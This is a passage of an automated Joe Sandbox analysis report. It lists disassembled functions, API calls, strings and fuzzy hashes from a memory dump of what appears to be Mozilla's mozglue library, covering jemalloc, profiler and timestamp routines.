Opcode ID: e45416953ad799411aaec1dd1a1814523389ae4afeade551820d1fca95c49fd2
Instruction ID: 20e563a5168dca086c041d89cd13b2195d4f114814c5330ed11ad2c9c546d779
Opcode Fuzzy Hash: e45416953ad799411aaec1dd1a1814523389ae4afeade551820d1fca95c49fd2
Instruction Fuzzy Hash: F471D2B1A047408FD700DF24C484A6ABBF0FF99308F55896DE9868BB52D770F948CB92

Function 6C1D9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1C31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C1C3217
Part of subcall function 6C1C31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C1C3236
Part of subcall function 6C1C31C0: FreeLibrary.KERNEL32 ref: 6C1C324B
Part of subcall function 6C1C31C0: __Init_thread_footer.LIBCMT ref: 6C1C3260
Part of subcall function 6C1C31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C1C327F
Part of subcall function 6C1C31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C1C328E
Part of subcall function 6C1C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C1C32AB
Part of subcall function 6C1C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C1C32D1
Part of subcall function 6C1C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C1C32E5
Part of subcall function 6C1C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C1C32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C1D9675
__Init_thread_footer.LIBCMT ref: 6C1D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C1D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C1D9707
__Init_thread_footer.LIBCMT ref: 6C1D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C1D9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C1D97B7
FreeLibrary.KERNEL32 ref: 6C1D97D0
FreeLibrary.KERNEL32 ref: 6C1D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C1D9824

Strings

MapViewOfFileNuma2, xrefs: 6C1D97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C1D9670
ntdll.dll, xrefs: 6C1D96E3
NtMapViewOfSection, xrefs: 6C1D9701

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 36233b5b0c5a1aed772966a8b94c20194532063f14463b73b1cb29a8b7628bbf
Instruction ID: 47f8be904aea26b50ac0259f9d5232f883d01c087d3062f60f6f4634fd0dd6b8
Opcode Fuzzy Hash: 36233b5b0c5a1aed772966a8b94c20194532063f14463b73b1cb29a8b7628bbf
Instruction Fuzzy Hash: 7E61B071700205AFDF01EF65D9A8B9B7BB1EB8A318F01C529ED1597B80DB38A854CF91

Function 6C1C3AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24E768,?,00003000,00000004), ref: 6C1C3AC5
LeaveCriticalSection.KERNEL32(6C24E768,?,00003000,00000004), ref: 6C1C3AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6C1C3AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C1C3B57
EnterCriticalSection.KERNEL32(6C24E784), ref: 6C1C3B81
LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1C3BA3
EnterCriticalSection.KERNEL32(6C24E7B8), ref: 6C1C3BAE
LeaveCriticalSection.KERNEL32(6C24E7B8), ref: 6C1C3C74
EnterCriticalSection.KERNEL32(6C24E784), ref: 6C1C3C8B
LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1C3C9F
LeaveCriticalSection.KERNEL32(6C24E7B8), ref: 6C1C3D5C
EnterCriticalSection.KERNEL32(6C24E784), ref: 6C1C3D67
LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1C3D8A

Part of subcall function 6C200D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C1C3DEF), ref: 6C200D71
Part of subcall function 6C200D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C1C3DEF), ref: 6C200D84

Strings

MOZ_CRASH(), xrefs: 6C1C3DB2
: (malloc) Error in VirtualFree(), xrefs: 6C1C3DCC
<jemalloc>, xrefs: 6C1C3DC7

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: 13873abb56dd3f4d66ba3228fc19b4f04d3b1c6ca37935157e6d7e19aef3d128
Instruction ID: 8aa364e510a386f02c5a3f7e98468ff3629ce62384da55ada425db4c0aa42067
Opcode Fuzzy Hash: 13873abb56dd3f4d66ba3228fc19b4f04d3b1c6ca37935157e6d7e19aef3d128
Instruction Fuzzy Hash: AD91C3717006048BDB04DF68C4C4BAEB7B2FBA5328B658529FD119BBC1C778D802CB96

Function 6C1D11B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6C1D1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C1D1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6C1D12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6C1D1327

Strings

TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6C1D12AD
&, xrefs: 6C1D126B
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6C1D131B
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6C1D120D
MZx, xrefs: 6C1D11E1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: afd3480bb253ab306a29ae164281f87bbe2d636bbcb64c0f0f0f647e705b0e20
Instruction ID: 73583a2f0784fb4d555a06bc64e8604806001507f43893d0a37295d5f3f13d93
Opcode Fuzzy Hash: afd3480bb253ab306a29ae164281f87bbe2d636bbcb64c0f0f0f647e705b0e20
Instruction Fuzzy Hash: FC71D371A057188BDB209FB8C8047DEB7F1BF55329F15465AD849A3B40DB34BA88CB92

Function 6C1C31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C1C3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C1C3236
FreeLibrary.KERNEL32 ref: 6C1C324B
__Init_thread_footer.LIBCMT ref: 6C1C3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C1C327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C1C328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C1C32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C1C32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C1C32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C1C32F7

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

__aulldiv.LIBCMT ref: 6C1C346B

Strings

KernelBase.dll, xrefs: 6C1C3212
QueryInterruptTime, xrefs: 6C1C3230

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: f7cf207681b5b36f3e7a80c142316a2616a868e1b38e5336e00286ac0e51f162
Instruction ID: d65ea85982cfc0278192c30a2193037f761ccbb1c9a99d65073d18b2c6c5a059
Opcode Fuzzy Hash: f7cf207681b5b36f3e7a80c142316a2616a868e1b38e5336e00286ac0e51f162
Instruction Fuzzy Hash: 9461ED71A08B018BC711DF38C45469AB3F4BFD6358F618B1DF8A9A3690EB34954ACB42

Function 6C226660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C24F618), ref: 6C226694
GetThreadId.KERNEL32(?), ref: 6C2266B1
GetCurrentThreadId.KERNEL32 ref: 6C2266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C2266E1
EnterCriticalSection.KERNEL32(6C24F618), ref: 6C226734
GetCurrentProcess.KERNEL32 ref: 6C22673A
LeaveCriticalSection.KERNEL32(6C24F618), ref: 6C22676C
GetCurrentThread.KERNEL32 ref: 6C2267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C226868
RtlCaptureContext.NTDLL(?), ref: 6C22687F

Strings

WalkStack64, xrefs: 6C226890

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e073073267674b94f1a15393d50257da78353b99d78a873efc53b432a7613d48
Instruction ID: 690d3ca704c31bad41d52cee0daf6578047654e44d116c634f2ca049411b0674
Opcode Fuzzy Hash: e073073267674b94f1a15393d50257da78353b99d78a873efc53b432a7613d48
Instruction Fuzzy Hash: 87519D72A09705AFD711DF24C888B5ABBF4FF89718F00892DFD9987680D774A508CB92

Function 6C20DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32(?,?,?,6C1D4A68), ref: 6C20DE73
GetCurrentThreadId.KERNEL32 ref: 6C20DF7D
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20DF8A
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20DFC9
GetCurrentThreadId.KERNEL32 ref: 6C20DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C1D4A68), ref: 6C20DE7B

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C1D4A68), ref: 6C20DEB8
free.MOZGLUE(00000000,?,6C1D4A68), ref: 6C20DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C20DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C20DE83
<none>, xrefs: 6C20DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C20E00E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 17cb3c0fc76049543cde23ace4525b6a619969f9370e3518fc8fd1656b29982d
Instruction ID: 0379722172d6d17129069acc3b5a8ba23a5d0bac1ccbe01ae5b8ef85bc212af7
Opcode Fuzzy Hash: 17cb3c0fc76049543cde23ace4525b6a619969f9370e3518fc8fd1656b29982d
Instruction Fuzzy Hash: 4D4106767025199BDB10AF64D80CBAFB775EB8531DF448016FE0987B81CBB19805CBE2

Function 6C21D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C21D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D918
GetCurrentThreadId.KERNEL32 ref: 6C21D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D970
GetCurrentThreadId.KERNEL32 ref: 6C21D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C21DA2E
GetCurrentThreadId.KERNEL32 ref: 6C21DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C21DA91

Part of subcall function 6C1E5C50: GetTickCount64.KERNEL32 ref: 6C1E5D40
Part of subcall function 6C1E5C50: EnterCriticalSection.KERNEL32(6C24F688), ref: 6C1E5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21DAB7

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 66744c2bd142b930b1839eecded72dbbfc5e7262772240d092f9849dd8690751
Instruction ID: affb5e3ce672d015e029fe5b7ab432472550fe0c19a3f10687ad3acf59d5f457
Opcode Fuzzy Hash: 66744c2bd142b930b1839eecded72dbbfc5e7262772240d092f9849dd8690751
Instruction Fuzzy Hash: BD71AA75604304DFCB00DF29C888B9ABBF5FF89318F558669ED5A9B741DB30A844CB91

Function 6C21D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C21D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D52A
GetCurrentThreadId.KERNEL32 ref: 6C21D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D55F
free.MOZGLUE(00000000), ref: 6C21D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C21D5D3
GetCurrentThreadId.KERNEL32 ref: 6C21D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D652
GetCurrentThreadId.KERNEL32 ref: 6C21D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D6A2

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 19adb1283de2e773265518ebdca634bba7d072c6ef156a5d4215b9bfc7bedf52
Instruction ID: 058a0cc2f1002b09ccfb5964df674203647186c171354fdc2eddf8a2787775b4
Opcode Fuzzy Hash: 19adb1283de2e773265518ebdca634bba7d072c6ef156a5d4215b9bfc7bedf52
Instruction Fuzzy Hash: 58517F75604B09EFC704DF35C488A9ABBF4FF89318F40862EE95A87B51DB30A945CB91

Function 6C1C1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24E784), ref: 6C1C1EC1
LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1C1EE1
EnterCriticalSection.KERNEL32(6C24E744), ref: 6C1C1F38
LeaveCriticalSection.KERNEL32(6C24E744), ref: 6C1C1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C1C1F83
LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1C1FC0
EnterCriticalSection.KERNEL32(6C24E784), ref: 6C1C1FE2
LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1C1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C1C2019

Strings

\$l, xrefs: 6C1C1F3E
MOZ_CRASH(), xrefs: 6C1C2000
D$l, xrefs: 6C1C1F56
D$l, xrefs: 6C1C1F32

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: D$l$D$l$MOZ_CRASH()$\$l
API String ID: 2055633661-3142688500
Opcode ID: 4e92232c2f84cdffc7b73f0c8f4bfcaa19d7b5fb9de93aa283479227bdb860a5
Instruction ID: 7744e1148f26b2846682fc6e0026d63fca2f8faa559f0701cd0df3edc11b3f99
Opcode Fuzzy Hash: 4e92232c2f84cdffc7b73f0c8f4bfcaa19d7b5fb9de93aa283479227bdb860a5
Instruction Fuzzy Hash: E941E575B403198BEB00EF78C888B6EBAB5EF69358F118065FD1597780D7749804CBD2

Function 6C1E5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C1E56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C1E56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C1E56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C1E5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C1E57BC
GetTickCount64.KERNEL32 ref: 6C1E58CB
EnterCriticalSection.KERNEL32(6C24F688), ref: 6C1E58F3
__aulldiv.LIBCMT ref: 6C1E5945
LeaveCriticalSection.KERNEL32(6C24F688), ref: 6C1E59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C24F638,?,?,?,?), ref: 6C1E59E9

Strings

MOZ_APP_RESTART, xrefs: 6C1E56CC

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: e9699652399b63635989f6d92ab830cebb35f67722232af16591ef8836696079
Instruction ID: 63c31f80fc396904722853b454447ca9c5913e1686e686dfb6e0b489d0823717
Opcode Fuzzy Hash: e9699652399b63635989f6d92ab830cebb35f67722232af16591ef8836696079
Instruction Fuzzy Hash: 5DC18D31A097509FDB05DF28C44466AF7F1BFDA718F05CA1DE8D8976A1D730A885CB82

Function 6C20EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32 ref: 6C20EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20EC8C

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

GetCurrentThreadId.KERNEL32 ref: 6C20ECA1
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C20ECC5
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C20ED19
CloseHandle.KERNEL32(?), ref: 6C20ED28
free.MOZGLUE(00000000), ref: 6C20ED2F
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C20EC94

Memory Dump Source

